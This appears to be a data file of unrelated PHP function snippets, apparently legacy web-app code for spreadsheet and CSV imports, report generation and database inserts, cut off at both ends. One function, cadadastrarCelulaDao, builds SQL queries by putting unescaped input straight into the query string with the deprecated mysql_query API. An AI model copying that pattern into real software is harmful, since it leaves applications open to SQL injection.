$act='0'.$act;\n }\n $cod_part=trim($datos[5]); /// Partida\n if(strlen($cod_part)==3){\n $cod_part=$cod_part.'00';\n }\n\n $importe=(float)$datos[6]; /// Monto\n\n // echo $this->gestion.\"<br>\";\n echo $prog.'- ('.strlen($prog).') -> '.$proy.' ('.strlen($proy).') -> '.$act.' ('.strlen(trim($act)).') ----'.$importe.'-- CODIGO PARTIDA '.is_numeric($cod_part).'<br>';\n if(strlen($prog)==2 & strlen($proy)==4 & strlen(trim($act))==3 & $importe!=0 & is_numeric($cod_part)){\n // echo \"INGRESA : \".$prog.'-'.$proy.'-'.$act.'..'.$importe.\"<br>\";\n $nroo++;\n // echo \"string<br>\";\n $aper=$this->model_ptto_sigep->get_apertura($prog,$proy,$act);\n if(count($aper)!=0){\n $partida = $this->minsumos->get_partida_codigo($cod_part); //// DATOS DE LA PARTIDA\n $par_id=0;\n if(count($partida)!=0){\n $par_id=$partida[0]['par_id'];\n }\n\n $ptto=$this->model_ptto_sigep->get_ptto_sigep($prog,$proy,$act,$cod_part);\n if(count($ptto)!=0){\n echo \"UPDATES : \".$prog.'-'.$proy.'-'.$act.' cod '.$cod_part.'-- PAR ID : '.$par_id.' ->'.$importe.\"<br>\";\n /*------------------- Update Datos ----------------------*/\n /*$query=$this->db->query('set datestyle to DMY');\n $update_ptto = array(\n 'aper_id' => $aper[0]['aper_id'],\n 'importe' => $importe,\n 'fun_id' => $this->session->userdata(\"fun_id\")\n );\n\n $this->db->where('sp_id', $ptto[0]['sp_id']);\n $this->db->update('ptto_partidas_sigep', $update_ptto);*/\n /*-------------------------------------------------------*/\n }\n else{\n echo \"INSERTS : \".$nroo.\" -\".$prog.'-'.$proy.'-'.$act.' cod '.$cod_part.'-- PAR ID : '.$par_id.' ->'.$importe.\"<br>\";\n /*-------------------- Guardando Datos ------------------*/\n /*$query=$this->db->query('set datestyle to DMY');\n $data_to_store = array( \n 'aper_id' => $aper[0]['aper_id'],\n 'da' => $da,\n 'ue' => $ue,\n 'aper_programa' => $prog,\n 'aper_proyecto' => $proy,\n 'aper_actividad' => $act,\n 'par_id' => $par_id,\n 'partida' => $cod_part,\n 'importe' => $importe,\n 'g_id' => $this->gestion,\n 'fun_id' => $this->session->userdata(\"fun_id\"),\n );\n $this->db->insert('ptto_partidas_sigep', $data_to_store);\n $sp_id=$this->db->insert_id();*/\n /*-------------------------------------------------------*/ \n }\n $nro++;\n }\n else{\n echo \"NO INGRESA : \".$prog.'-'.$proy.'-'.$act.'..'.$importe.\"<br>\";\n /* $partida = $this->minsumos->get_partida_codigo($cod_part); //// DATOS DE LA PARTIDA\n $par_id=0;\n if(count($partida)!=0){\n $par_id=$partida[0]['par_id'];\n }*/\n /*-------------------- Guardando Datos ------------------*/\n /* $query=$this->db->query('set datestyle to DMY');\n $data_to_store = array( \n 'aper_id' => 0,\n 'da' => $da,\n 'ue' => $ue,\n 'aper_programa' => $prog,\n 'aper_proyecto' => $proy,\n 'aper_actividad' => $act,\n 'par_id' => $par_id,\n 'partida' => $cod_part,\n 'importe' => $importe,\n 'g_id' => $this->gestion,\n 'fun_id' => $this->session->userdata(\"fun_id\"),\n );\n $this->db->insert('ptto_partidas_sigep', $data_to_store);\n $sp_id=$this->db->insert_id();*/\n /*-------------------------------------------------------*/ \n }\n }\n elseif(strlen($prog)==2 & strlen($proy)==4 & strlen($act)==3 & $importe==0){\n $ptto=$this->model_ptto_sigep->get_ptto_sigep($prog,$proy,$act,$cod_part);\n if(count($ptto)!=0){\n echo \"UPDATES 0->VALOR : \".$prog.'-'.$proy.'-'.$act.' cod '.$cod_part.'-- PAR ID : '.$par_id.' ->'.$importe.\"<br>\";\n /*------------------- Update Datos ----------------------*/\n /*$query=$this->db->query('set datestyle to DMY');\n $update_ptto = array(\n 'aper_id' => $aper[0]['aper_id'],\n 'importe' => $importe,\n 'fun_id' => $this->session->userdata(\"fun_id\")\n );\n\n $this->db->where('sp_id', $ptto[0]['sp_id']);\n $this->db->update('ptto_partidas_sigep', $update_ptto);*/\n /*-------------------------------------------------------*/\n }\n }\n }\n }\n\n $i++;\n }\n\n /*--------------------------------------------------------------*/\n } \n elseif (empty($file_basename)) {\n echo \"<script>alert('SELECCIONE ARCHIVO .CSV')</script>\";\n } \n elseif ($filesize > 100000000) {\n //redirect('');\n } \n else {\n $mensaje = \"Sólo estos tipos de archivo se permiten para la carga: \" . implode(', ', $allowed_file_types);\n echo '<script>alert(\"' . $mensaje . '\")</script>';\n }\n\n } else {\n show_404();\n }\n }", "public function cadadastrarCelulaDao(objetocelula $ace){\r\n \r\n $pesquisaNome=$ace->getNome();\r\n require_once (\"conexao.php\");\r\n \r\n $obj = Connection::getInstance();\r\n $ret=3;\r\n \r\n $busca = mysql_query(\"Select NomeCelula from celulas where NomeCelula like '%$pesquisaNome%'\") or die (\"Nao foi possivel realizar a busca\".mysql_error());\r\n $reg = mysql_fetch_assoc($busca);\r\n \r\n\tif($reg != \"\"){\r\n $ret = 1;\r\n }\r\n else{\r\n $nome=$ace->getNome(); $lider=$ace->getLider();\r\n\t $rua=$ace->getRua(); $casa=$ace->getCasa();\r\n $bairro=$ace->getBairro();\r\n $dia=$ace->getDia();\r\n $status=$ace->getStatus();\r\n\t $estilo=$ace->getEstilo();\r\n \t\r\n\t\t$inse = \"INSERT INTO celulas (Codigo,CodLider,NomeCelula,Rua,Casa,Bairro,DiadaCelula,Estilo,Status)VALUES('','$lider','$nome','$rua','$casa','$bairro','$dia','$estilo','$status')\";\r\n\r\n $result = mysql_query($inse) or die (\"Falha na insercao da celula\".mysql_error());\r\n\r\n if ($result)\r\n {\r\n $ret = 0;\r\n \r\n }else{\r\n\r\n $ret = 2;\r\n }\r\n }\r\n \r\n mysql_free_result($busca);\r\n $obj->freebanco();\r\n \r\n return $ret;\r\n }", "public function tratarDados(){\r\n\t\r\n\t\r\n }", "public function archivos (){\n\t\t$archivos = Archivos::where('estado' , '=', 'Pendiente')->get();\n\n\t\tforeach ($archivos as $archivo) {\n\t\t\t# code...\n\t\t\t\t$url = $archivo->archivo;\n\n\t\t\t\t$objPHPExcel = PHPExcel_IOFactory::load(\"uploads/archivos/$url\");\n\t\t\t\n\t\t\t\tforeach ($objPHPExcel->getWorksheetIterator() as $worksheet) {\n\t\t\t\t\t $worksheetTitle = $worksheet->getTitle();\n\t\t\t\t\t $highestRow = $worksheet->getHighestRow(); // e.g. 10\n\t\t\t\t\t $highestColumn = $worksheet->getHighestColumn(); // e.g 'F'\n\t\t\t\t\t $highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\t\t\t\t\t $nrColumns = ord($highestColumn) - 64;\n\t\t\t\t\t \n\t\t\t\t\t for ($row = 2; $row <= $highestRow; ++ $row) {\n\t\t\t\t\t \t$contacto = new Contactos;\n\n\t\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(0, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->nombre = $val;\n\n\t\t\t $cell = $worksheet->getCellByColumnAndRow(1, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->apellido = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(2, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->sexo = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(3, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->fecha_nacimiento = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(4, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->tipo_documento = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(5, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->numero = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(6, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->telefono = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(7, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->mail = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(8, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->municipio_id = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(9, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->localidad_id = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(10, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->calle = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(11, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->numero_calle = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(12, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->complemento = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(13, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->entre_calles = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(14, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->instalacion_coccion = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(15, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->instalacion_aguaCaliente = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(16, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->instalacion_calefaccion = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(17, $row);\n\t\t\t\t $val = $cell->getValue();\n\t\t\t\t $contacto->posee_gas = $val;\n\n\t\t\t\t $cell = $worksheet->getCellByColumnAndRow(18, $row);\n\t\t\t\t $val = $cell->getValue();\n\n\t\t\t\t $contacto->estado = $val;\n\n\t\t\t\t $contacto->created_by = 6;\n\n\n\t\t\t\t $now = new DateTime('NOW');\n\n\t\t\t\t $contacto->created = $now;\n\t\t\t\t /*\n\t\t\t\t\t for ($col = 0; $col < $highestColumnIndex; ++ $col) {\n\t\t\t\t\t $dataType = PHPExcel_Cell_DataType::dataTypeForValue($val);\n\t\t\t\t\t echo '<td>' . $val . '<br>(Typ ' . $dataType . ')</td>';\n\t\t\t\t\t } */\n\t\t\t\t\t \n\t\t\t\t\t $contacto->save();\n\t\t\t\t\t }\n\t\t\t\t}\n\n\t\t\t\t$archivo->estado = \"Importado\";\n\t\t\t\t$archivo->save();\n\n\t\t}\n\n\t\t return Redirect::to('archivos');\n\n\t}", "public function excel()\n {\n Excel::create('clientes', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n $clientes = Cliente::\n join('regimen_fiscal', 'regimen_fiscal.id','=','cliente.id_Regimen_Fiscal')\n ->select('cliente.nombre','cliente.rfc','cliente.contacto','regimen_fiscal.nombre as RegimenFiscal', 'cliente.telefono', 'cliente.email','cliente.codigo_Postal', 'cliente.direccion_fact', 'cliente.direccion_entr', 'cantidad_venta','cliente.volumen_venta', 'cliente.email', 'cliente.saldocliente','cliente.codigo_Postal')\n ->where('cliente.estado', 'Activo')\n ->get(); \n $sheet->fromArray($clientes);\n $sheet->row(1,['Nombre','RFC','Contacto', 'Regimen Fiscal' ,'Teléfono','Email','Codigo Postal','Dirección de Facturación','Dirección de Entrega de Embarque','Asignación de Cantidad de Venta por Año',' Asignación de Volumen de Venta por Año','Saldo Cliente $']);\n $sheet->setOrientation('landscape');\n \n\n });\n })->export('xls');\n }", "function TablaComprasGeneral()\n {\t\n\t //Logo\n $this->Image(\"./assets/img/logo.png\" , 35 ,12, 80 , 25 , \"PNG\"); \n //Arial bold 15\n $this->SetFont('Courier','B',18);\n //Movernos a la derecha\n $this->Cell(130);\n //Título\n $this->Cell(180,25,'LISTADO GENERAL DE COMPRAS',0,0,'C');\n //Salto de línea\n $this->Ln(30);\n\t\n\t$con = new Login();\n $con = $con->ConfiguracionPorId();\n\t\n\t$this->SetFont('courier','B',10);\n\t$this->SetFillColor(2,157,116);\n\t$this->Cell(30,5,'',0,0,'');\n\t$this->CellFitSpace(42,5,'CÉDULA GERENTE :',0,0,'');\n\t$this->CellFitSpace(95,5,$con[0]['cedresponsable'],0,0,'');\n\t$this->CellFitSpace(42,5,'NOMBRE GERENTE :',0,0,'');\n\t$this->CellFitSpace(120,5,$con[0]['nomresponsable'],0,1,'');\n \n $this->Cell(30,5,'',0,0,'');\n\t$this->CellFitSpace(42,5,'TELÉFONO GERENTE :',0,0,'');\n $this->CellFitSpace(95,5,utf8_decode($con[0]['tlfresponsable']),0,0,'');\n $this->CellFitSpace(42,5,'CORREO GERENTE :',0,0,'');\n $this->CellFitSpace(120,5,utf8_decode($con[0]['correoresponsable']),0,0,'');\n $this->Ln(8);\n\t\n\t$this->SetFont('courier','B',9);\n\t$this->SetTextColor(255,255,255); // Establece el color del texto (en este caso es blanco)\n $this->SetFillColor(249, 187, 31); // establece el color del fondo de la celda (en este caso es NARANJA)\n\t$this->CellFitSpace(10,8,'N°',1,0,'C', True);\n\t$this->CellFitSpace(30,8,'CÓDIGO COMPRA',1,0,'C', True);\n\t$this->CellFitSpace(60,8,'PROVEEDOR',1,0,'C', True);\n\t$this->CellFitSpace(17,8,'STATUS',1,0,'C', True);\n\t$this->CellFitSpace(35,8,'FECHA COMPRA',1,0,'C', True);\n\t$this->CellFitSpace(15,8,'ARTICULOS',1,0,'C', True);\n\t$this->CellFitSpace(30,8,'SUBTOTAL CON IVA',1,0,'C', True);\n\t$this->CellFitSpace(30,8,'SUBTOTAL IVA 0%',1,0,'C', True);\n\t$this->CellFitSpace(15,8,'IVA',1,0,'C', True);\n\t$this->CellFitSpace(25,8,'TOTAL IVA',1,0,'C', True);\n\t$this->CellFitSpace(15,8,'DESC',1,0,'C', True);\n\t$this->CellFitSpace(25,8,'TOTAL DESC',1,0,'C', True);\n\t$this->CellFitSpace(30,8,'TOTAL PAGO',1,1,'C', True);\n\t\n $tra = new Login();\n $reg = $tra->ListarCompras();\n\t$totalarticulos=0;\n\t$Subtotalconiva=0;\n\t$Subtotalsiniva=0;\n\t$Totaliva=0;\n\t$Totaldescuento=0;\n\t$pagoDescuento=0;\n\t$Pagototal=0;\n\t$a=1;\n\t\n for($i=0;$i<sizeof($reg);$i++){\n\t\n $totalarticulos+=$reg[$i]['articulos'];\n $Subtotalconiva+=$reg[$i]['subtotalivasic'];\n $Subtotalsiniva+=$reg[$i]['subtotalivanoc'];\n\t$Totaliva+=$reg[$i]['totalivac']; \n\t$Totaldescuento+=$reg[$i]['totaldescuentoc']; \n\t$Pagototal+=$reg[$i]['totalc']; \n\t\t\n\t$this->SetFont('courier','',8); \n\t$this->SetTextColor(3,3,3); // Establece el color del texto (en este caso es negro)\n $this->Cell(10,5,$a++,1,0,'C');\n\t$this->CellFitSpace(30,5,$reg[$i][\"codcompra\"],1,0,'C');\n\t$this->CellFitSpace(60,5,utf8_decode($reg[$i][\"nomproveedor\"]),1,0,'C');\n\t\n\tif($reg[$i]['fechavencecredito']== '0000-00-00') { \n\t$this->CellFitSpace(17, 5,utf8_decode($reg[$i]['statuscompra']),1,0,'C');\n\t} elseif($reg[$i]['fechavencecredito'] >= date(\"Y-m-d\")) { \n\t$this->CellFitSpace(17, 5,utf8_decode($reg[$i]['statuscompra']),1,0,'C');\n\t} elseif($reg[$i]['fechavencecredito'] < date(\"Y-m-d\")) { \n\t$this->CellFitSpace(17, 5,utf8_decode(\"VENCIDA\"),1,0,'C');\n\t}\n\t\t\n\t$this->CellFitSpace(35,5,utf8_decode(date(\"d-m-Y h:i:s\",strtotime($reg[$i]['fechacompra']))),1,0,'C');\n\t$this->CellFitSpace(15,5,utf8_decode($reg[$i][\"articulos\"]),1,0,'C');\n\t$this->CellFitSpace(30,5,utf8_decode(number_format($reg[$i]['subtotalivasic'], 2, '.', ',')),1,0,'C');\n\t$this->CellFitSpace(30,5,utf8_decode(number_format($reg[$i]['subtotalivanoc'], 2, '.', ',')),1,0,'C');\n $this->CellFitSpace(15,5,utf8_decode(number_format($reg[$i]['ivac'], 2, '.', ',')),1,0,'C');\n $this->CellFitSpace(25,5,utf8_decode(number_format($reg[$i]['totalivac'], 2, '.', ',')),1,0,'C');\n $this->CellFitSpace(15,5,utf8_decode(number_format($reg[$i]['descuentoc'], 2, '.', ',')),1,0,'C');\n $this->CellFitSpace(25,5,utf8_decode(number_format($reg[$i]['totaldescuentoc'], 2, '.', ',')),1,0,'C');\n\t$this->CellFitSpace(30,5,utf8_decode(number_format($reg[$i]['totalc'], 2, '.', ',')),1,0,'C');\n $this->Ln();\n\t\n } \n \n\t$this->Cell(10,5,'',0,0,'C');\n $this->Cell(32,5,'',0,0,'C');\t\n $this->Cell(60,5,'',0,0,'C');\t\n $this->Cell(15,5,'',0,0,'C');\t\n $this->SetFont('courier','B',9);\n\t$this->SetTextColor(255,255,255); // Establece el color del texto (en este caso es blanco)\n $this->Cell(35,5,'TOTAL GENERAL',1,0,'C', True);\n $this->SetFont('courier','B',8);\n $this->SetTextColor(3,3,3); // Establece el color del texto (en este caso es blanco)\n\t$this->Cell(15,5,utf8_decode($totalarticulos),1,0,'C');\n $this->Cell(30,5,utf8_decode(number_format($Subtotalconiva, 2, '.', ',')),1,0,'C');\n $this->Cell(30,5,utf8_decode(number_format($Subtotalsiniva, 2, '.', ',')),1,0,'C');\n $this->Cell(15,5,\"\",1,0,'C');\n $this->Cell(25,5,utf8_decode(number_format($Totaliva, 2, '.', ',')),1,0,'C');\n $this->Cell(15,5,\"\",1,0,'C');\n $this->Cell(25,5,utf8_decode(number_format($Totaldescuento, 2, '.', ',')),1,0,'C');\n $this->Cell(30,5,utf8_decode(number_format($Pagototal, 2, '.', ',')),1,0,'C');\n $this->Ln();\n \n $this->Ln(12); \n $this->SetFont('courier','B',9);\n $this->Cell(40,6,'',0,0,'');\n $this->Cell(140,6,'ELABORADO POR: '.utf8_decode($_SESSION[\"nombres\"]),0,0,'');\n $this->Cell(80,6,'RECIBIDO:__________________________________',0,0,'');\n $this->Ln();\n $this->Cell(40,6,'',0,0,'');\n $this->Cell(140,6,'FECHA/HORA ELABORACIÓN: '.date('d-m-Y h:i:s A'),0,0,'');\n $this->Cell(80,6,'',0,0,'');\n $this->Ln(4);\n\t\n }", "public function tuExcel(){\n $fields= $this->db->field_data('hotel');\n $query= $this->db->get('hotel');\n return array (\"fields\" => $fields, \"query\" => $query);\n }", "function Modificar_Informacion($codigo,$nombre,$desc,$fecdesde,$hordesde,$fechasta,$horhasta,$archivo,$link){\n $respuesta = new xajaxResponse();\n $ClsInf = new ClsInformacion();\n\t//$respuesta->alert(\"$nombre,$desc,$fecdesde,$hordesde,$fechasta,$horhasta,$target,$tipo,$archivo,$link,$arrgrupo,$filas\");\n $nombre = utf8_encode($nombre);\n\t$desc = utf8_encode($desc);\n\t//--\n $nombre = utf8_decode($nombre);\n\t$desc = utf8_decode($desc);\n\t\n if($nombre != \"\" && $desc != \"\"){\n\t\t$desde = \"$fecdesde $hordesde\";\n\t\t$hasta = \"$fechasta $horhasta\";\n\t\t$sql = $ClsInf->modifica_informacion($codigo,$nombre,$desc,$desde,$hasta,$link); /// Inserta a tabla Actividades\n if($archivo != \"\"){\n $archivo = str_shuffle($codigo.uniqid()).\".jpg\";\n $sql.= $ClsInf->modifica_imagen($codigo,$archivo);\n }\n\t\t$rs = $ClsInf->exec_sql($sql);\n\t\t//$respuesta->alert($sql);\n\t\t if($rs == 1){\n\t\t\tif($archivo != \"\"){\n\t\t\t\t$respuesta->assign(\"codigo\",\"value\",$codigo);\n $respuesta->assign(\"docname\",\"value\",$archivo);\n\t\t\t\t$respuesta->script(\"Submit();\");\n\t\t\t}else{\n\t\t\t\t$respuesta->script('swal(\"Excelente!\", \"Calendarizaci\\u00F3n de evento actualizada con exito!\", \"success\").then((value)=>{ window.location.reload(); });');\n\t\t\t}\n\t\t}else{\n\t\t\t$respuesta->script('swal(\"Error\", \"Error en la transacci\\u00F3n\", \"error\").then((value)=>{ cerrar(); });');\n\t\t\t$respuesta->script(\"document.getElementById('gra').className = 'btn btn-primary';\");\n\t\t\t$respuesta->script(\"document.getElementById('mod').className = 'btn btn-primary hidden';\");\n\t\t}\t\n\t\t\t\n\t}\n return $respuesta;\n}", "function file_import_execute() {\n\t\t$this->load->library('excel_reader');\n\n\t\t// Set output Encoding.\n\t\t$this->excel_reader->setOutputEncoding('CP1251');\n\n\t\t$this->excel_reader->read($this->session->userdata('file_upload'));\n\n\t\t// Sheet 1\n\t\t$excel = $this->excel_reader->sheets[0] ;\n\n\t\t// is it grpo template file?\n\t \tif($excel['cells'][1][1] == 'SFG Item No.' && $excel['cells'][1][2] == 'SFG Quantity') {\n\n\t\t\t$this->db->trans_start();\n\n\t\t\t$j = 0; // grpo_header number, started from 1, 0 assume no data\n\t\t\tfor ($i = 2; $i <= $excel['numRows']; $i++) {\n\t\t\t\t$x = $i - 1; // to check, is it same grpo header?\n\n\t\t\t\t$kode_sfg = $excel['cells'][$i][1];\n\t\t\t\t$quantity_sfg = $excel['cells'][$i][2];\n \t\t\t$material_no = $excel['cells'][$i][3];\n \t\t\t$quantity = $excel['cells'][$i][4];\n \t$plant = $excel['cells'][$i][5];\n if(empty($plant)) {\n $plant = $this->session->userdata['ADMIN']['plant'];\n }\n\n\n\t\t\t\t// check grpo header\n\t\t\t\tif(($excel['cells'][$i][1] != $excel['cells'][$x][1])||($excel['cells'][$i][5] != $excel['cells'][$x][5])) {\n\n $sfgs_header = $this->m_sfgs->sfgs_header_select_by_kode_sfg($kode_sfg,$plant);\n if ($sfgs_header!=FALSE) {\n $this->m_sfgs->sfgs_header_delete_multiple($sfgs_header);\n }\n $j++;\n\t\t\t\t // \tif($sfgs_detail_temp = $this->m_general->sap_item_groups_select_all_sfgs()) {\n $object['sfgs_headers'][$j]['plant'] = $plant;\n $object['sfgs_headers'][$j]['kode_sfg'] = $excel['cells'][$i][1];\n $item_temp = $this->m_general->sap_item_select_by_item_code($excel['cells'][$i][1]);\n $object['sfgs_headers'][$j]['nama_sfg'] = $item_temp['MAKTX'];\n $object['sfgs_headers'][$j]['quantity_sfg'] = $quantity_sfg;\n $object['sfgs_headers'][$j]['uom_sfg'] = $item_temp['UNIT'];\n\t\t\t\t\t $object['sfgs_headers'][$j]['id_user_input'] = $this->session->userdata['ADMIN']['admin_id'];\n\t\t\t\t\t $object['sfgs_headers'][$j]['filename'] = $this->session->userdata('filename_upload');\n\n\t\t\t\t\t\t$id_sfgs_header = $this->m_sfgs->sfgs_header_insert($object['sfgs_headers'][$j]);\n\n \t$sfgs_header_exist = TRUE;\n\t\t\t\t\t\t$k = 1; // grpo_detail number\n\n\t\t\t //\t\t} else {\n //\t$sfgs_header_exist = FALSE;\n\t\t\t//\t\t}\n\t\t\t\t}\n\n\t\t\t\tif($sfgs_header_exist) {\n\n\t\t\t\t\tif($sfgs_detail_temp = $this->m_general->sap_item_select_by_item_code($material_no)) {\n $object['sfgs_details'][$j][$k]['id_sfgs_header'] = $id_sfgs_header;\n\t\t\t\t\t\t$object['sfgs_details'][$j][$k]['id_sfgs_h_detail'] = $k;\n\t\t\t\t\t\t$object['sfgs_details'][$j][$k]['material_no'] = $material_no;\n\t\t\t\t\t\t$object['sfgs_details'][$j][$k]['material_desc'] = $sfgs_detail_temp['MAKTX'];\n \t\t\t\t\t $object['sfgs_details'][$j][$k]['quantity'] = $quantity;\n\n $uom_import = $sfgs_detail_temp['UNIT'];\n if(strcasecmp($uom_import,'KG')==0) {\n $uom_import = 'G';\n }\n if(strcasecmp($uom_import,'L')==0) {\n $uom_import = 'ML';\n }\n \t\t\t$object['sfgs_details'][$j][$k]['uom'] = $uom_import;\n\n\t\t\t\t\t\t$id_sfgs_detail = $this->m_sfgs->sfgs_detail_insert($object['sfgs_details'][$j][$k]);\n\n\t\t\t\t\t\t$k++;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$this->db->trans_complete();\n\n\t\t\t$object['refresh'] = 1;\n\t\t\t$object['refresh_text'] = 'Data Master Semi Finished Goods (SFG) BOM berhasil di-upload';\n\t\t\t$object['refresh_url'] = $this->session->userdata['PAGE']['sfgs_browse_result'];\n\t\t\t//redirect('member_browse');\n\n\t\t\t$this->template->write_view('content', 'refresh', $object);\n\t\t\t$this->template->render();\n\n\t\t} else {\n\n\t\t\t\t$object['refresh_text'] = 'File Excel yang Anda upload bukan file Master Semi Finished Goods (SFG) BOM atau file tersebut rusak. Umumnya karena di dalam file diberi warna baik pada teks maupun cell. Harap periksa kembali file Excel Anda.<br><br>SARAN: Coba pilih semua teks dan ubah warna menjadi \"Automatic\". Sebaiknya tidak ada warna pada teks, kolom dan baris dalam file Excel Anda.';\n\t\t\t\t$object['refresh_url'] = 'sfgs/browse_result/0/0/0/0/10';\n\t\t\t\t$object['jag_module'] = $this->jagmodule;\n\t\t\t\t$object['error_code'] = '008';\n\t\t\t\t$object['page_title'] = 'Error '.strtoupper($object['jag_module']['web_module']).': '.$object['jag_module']['web_trans'];\n\t\t\t\t$this->template->write_view('content', 'errorweb', $object);\n\t\t\t\t$this->template->render();\n\n\t\t}\n\n\t}", "public function readAllInfo()\n {\n //recupération des données en post\n $data = $this->request->data;\n try\n {\n //selection d'une UE en foction de l'identifiant\n if (!empty($data['id_matiere'])) {\n $results = $this->model->read_all_info_id((int)$data['id_matiere']);\n\n if (empty($results)) {\n $this->_return('la matière demandée n\\'existe pas dans la base de donnée', false);\n }\n $this->_return('Informations sur la matière '.$results->nom_matiere.' ', true, $results);\n }\n //selection de toutes les UE d'enseignement\n $results = $this->model->read_all_info_matiere();\n if (empty($results)) {\n $this->_return('Vous n\\'avez pas encore de matière en base de données', false);\n }\n $this->_return('liste des matières disponibles dans la base de données', true, $results);\n }\n catch(Exception $e)\n {\n $this->_exception($e);\n }\n }", "function file_import_execute() {\n\t\t$this->load->library('excel_reader');\n\n\t\t// Set output Encoding.\n\t\t$this->excel_reader->setOutputEncoding('CP1251');\n\n\t\t$this->excel_reader->read($this->session->userdata('file_upload'));\n\n\t\t// Sheet 1\n\t\t$excel = $this->excel_reader->sheets[0] ;\n\n\t\t// is it employee shift template file?\n\t\tif($excel['cells'][1][1] == 'NIK') {\n\n\t\t\t$longshift_nik = $this->m_sync_attendance->sync_final_get_long_shift();\n\t\t\t$this->db->trans_start();\n\n\t\t\tfor($j = 1; $j <= $excel['numCols']; $j++) {\n\n\t\t\t\t$date = $excel['cells'][1][$j+1];\n\t\t\t\t$date_int[$j] = $this->convertexceltime($date);\n\n\t\t\t\t$eod = $this->m_employee->eod_select_last();\n\t\t\t\t$eod_int = strtotime($eod);\n\n\t\t\t\tif($eod_int < $date_int[$j]) {\n\t\t\t\t\t$date_arr[$j] = date(\"Y-m-d\", $date_int[$j]);\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tfor ($i = 2; $i <= $excel['numRows']; $i++) {\n\n\t\t\t\t// cek apakah NIK ada isinya?\n\t\t\t\tif(!empty($excel['cells'][$i][1])) {\n\n\t\t\t\t\t$employee = $this->m_employee->employee_select_by_nik($excel['cells'][$i][1]);\n\t\t\t\t\t$employee_check = $this->m_employee->employee_check($employee['employee_id']);\n\n\t\t\t\t\tif($employee_check) {\n\n\t\t\t\t\t\t$employee_shift['shift_emp_id'] = $employee['employee_id'];\n\n\t\t\t\t\t\tfor($j = 1; $j <= $excel['numCols']+1; $j++) {\n\n\t\t\t\t\t\t\tif(strtotime($employee['tanggal_masuk']) <= $date_int[$j]) {\n\n\t\t\t\t\t\t\t\tif(!empty($date_arr[$j])) {\n\n\t\t\t\t\t\t\t\t\t$employee_shift['shift_date'] = $date_arr[$j];\n\t\t\t\t\t\t\t\t\t$shift_code_check = $this->m_employee_shift->shift_code_check($excel['cells'][$i][$j+1], $this->session->userdata['ADMIN']['hr_plant_code']);\n\n\t\t\t\t\t\t\t\t\tif($shift_code_check) {\n\n\t\t\t\t\t\t\t\t\t\t$employee_shift['shift_code'] = $excel['cells'][$i][$j+1];\n\n\t\t\t\t\t\t\t\t\t\tif($this->m_employee_shift->shift_add_update($employee_shift,$longshift_nik)) {\n\t\t\t\t\t\t\t\t\t\t\t/*$shift = $this->m_employee_shift->shift_code_select($employee_shift['shift_code'], $this->session->userdata['ADMIN']['hr_plant_code']);\n\n\t\t\t\t\t\t\t\t\t\t\t$absent['cabang'] = $this->session->userdata['ADMIN']['hr_plant_code'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['tanggal'] = $employee_shift['shift_date'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['nik'] = $employee['nik'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift'] = $shift['shift_code'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['kd_shift'] = $shift['shift_code'];\n\n if ($this->m_upload_absent->employee_absent_select($absent)==FALSE) {\n \t\t\t\t\t\t\t\t$absent['kd_aktual'] = 'A';\n \t\t\t\t\t\t\t\t$absent['kd_aktual_temp'] = 'A';\n }\n\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_in'] = $shift['duty_on'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_out'] = $shift['duty_off'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_break_in'] = $shift['break_in'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_break_out'] = $shift['break_out'];\n\n \t\t\t $this->m_upload_absent->employee_absent_add_update($absent);*/\n\n\t\t\t\t\t\t\t\t\t\t\t$berhasil = 